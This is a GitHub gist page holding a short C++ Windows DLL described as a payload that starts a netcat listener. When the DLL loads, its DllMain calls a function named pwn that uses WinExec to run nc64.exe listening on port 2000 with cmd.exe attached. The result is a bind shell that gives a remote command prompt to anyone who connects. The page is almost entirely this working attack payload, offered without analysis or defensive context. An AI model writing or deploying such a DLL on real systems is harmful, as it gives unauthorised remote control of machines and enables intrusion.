Skip to content

Instantly share code, notes, and snippets.

@xct xct/simple_dll.cpp Secret
Created Mar 16, 2019

Embed
What would you like to do?
Simple dll payload that starts a nc listener
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int pwn()
{
WinExec("c:\\programdata\\nc64.exe -lvp 2000 -e cmd.exe", 0);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
pwn();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.